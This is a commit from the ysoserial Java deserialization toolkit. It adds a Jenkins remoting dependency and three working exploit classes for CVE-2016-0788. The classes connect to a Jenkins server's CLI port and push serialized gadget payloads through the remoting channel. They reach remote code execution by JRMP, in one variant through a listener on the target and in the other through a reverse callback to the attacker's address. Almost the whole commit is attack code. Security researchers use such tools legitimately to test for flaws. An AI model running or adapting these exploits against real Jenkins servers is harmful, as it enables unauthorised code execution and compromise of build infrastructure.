Add jenkins client and exploits (CVE-2016-0788)

This commit is contained in:
mbechler
2016-03-06 14:54:49 +01:00
parent 6bb0d80aa0
commit c94779b83d
4 changed files with 479 additions and 16 deletions
+18 -16
View File
@@ -51,6 +51,14 @@
</plugin>
</plugins>
</build>
<repositories>
<repository>
<id>jenkins</id>
<layout>default</layout>
<url>http://repo.jenkins-ci.org/public/</url>
</repository>
</repositories>
<dependencies>
@@ -105,6 +113,11 @@
<artifactId>commons-codec</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<artifactId>remoting</artifactId>
<groupId>org.jenkins-ci.main</groupId>
<version>2.55</version>
</dependency>
<!-- gadget dependecies -->
@@ -179,25 +192,14 @@
<artifactId>myfaces-impl</artifactId>
<version>2.2.9</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
</dependencies>
<profiles>
<profile>
<id>xalan</id>
<activation>
<property>
<name>properXalan</name>
</property>
</activation>
<dependencies>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
</dependencies>
</profile>
<profile>
<id>hibernate5</id>
<activation>
@@ -0,0 +1,136 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes"
} )
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
System.exit(-1);
return;
}
final Object payloadObject;
try {
final ObjectPayload payload = payloadClass.newInstance();
payloadObject = payload.getObject(args[ 2 ]);
}
catch ( Exception e ) {
System.err.println("Failed to construct payload");
e.printStackTrace(System.err);
System.exit(-1);
return;
}
String jenkinsUrl = args[ 0 ];
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
}
public static Callable<?, ?> getPropertyCallable ( final Object prop )
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
reqCons.setAccessible(true);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if ( ! ( conn instanceof HttpURLConnection ) ) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if ( hc.getResponseCode() >= 400 ) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
}
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
@@ -0,0 +1,231 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* CVE-2016-0788 exploit (1)
*
* @author mbechler
*/
@SuppressWarnings ( {
"rawtypes", "restriction"
} )
public class JenkinsListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
System.exit(-1);
}
String jenkinsUrl = args[ 0 ];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
}
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
}
/**
* @param oid
* @param uro
* @param reqClass
* @return
* @throws NoSuchMethodException
* @throws InstantiationException
* @throws IllegalAccessException
* @throws InvocationTargetException
* @throws ClassNotFoundException
*/
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
reqCons.setAccessible(true);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
}
/**
* @param args
* @param payloadClass
* @param jrmpPort
* @param isa
* @param e
* @throws Exception
* @throws IOException
*/
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
InetSocketAddress isa, Exception e ) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if ( start < 0 ) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if ( sep < 0 ) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if ( end < 0 ) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[ 0 ], 16);
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
}
/**
* @param inetSocketAddress
* @param obj
* @param o1
* @param o2
* @param o3
* @throws IOException
*/
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
@@ -0,0 +1,94 @@
package ysoserial.exploit;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
import hudson.remoting.Channel;
import ysoserial.exploit.JRMPListener;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* CVE-2016-0788 exploit (2)
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes"
} )
public class JenkinsReverse {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
System.exit(-1);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 2 ]);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
System.err.println("Invalid payload type '" + args[ 2 ] + "'");
System.exit(-1);
return;
}
final Object payloadObject;
try {
final ObjectPayload payload = payloadClass.newInstance();
payloadObject = payload.getObject(args[ 3 ]);
}
catch ( Exception e ) {
System.err.println("Failed to construct payload");
e.printStackTrace(System.err);
System.exit(-1);
return;
}
String myAddr = args[ 1 ];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[ 0 ];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( t != null ) {
t.interrupt();
try {
t.join();
}
catch ( InterruptedException e ) {
e.printStackTrace(System.err);
}
}
}
}
}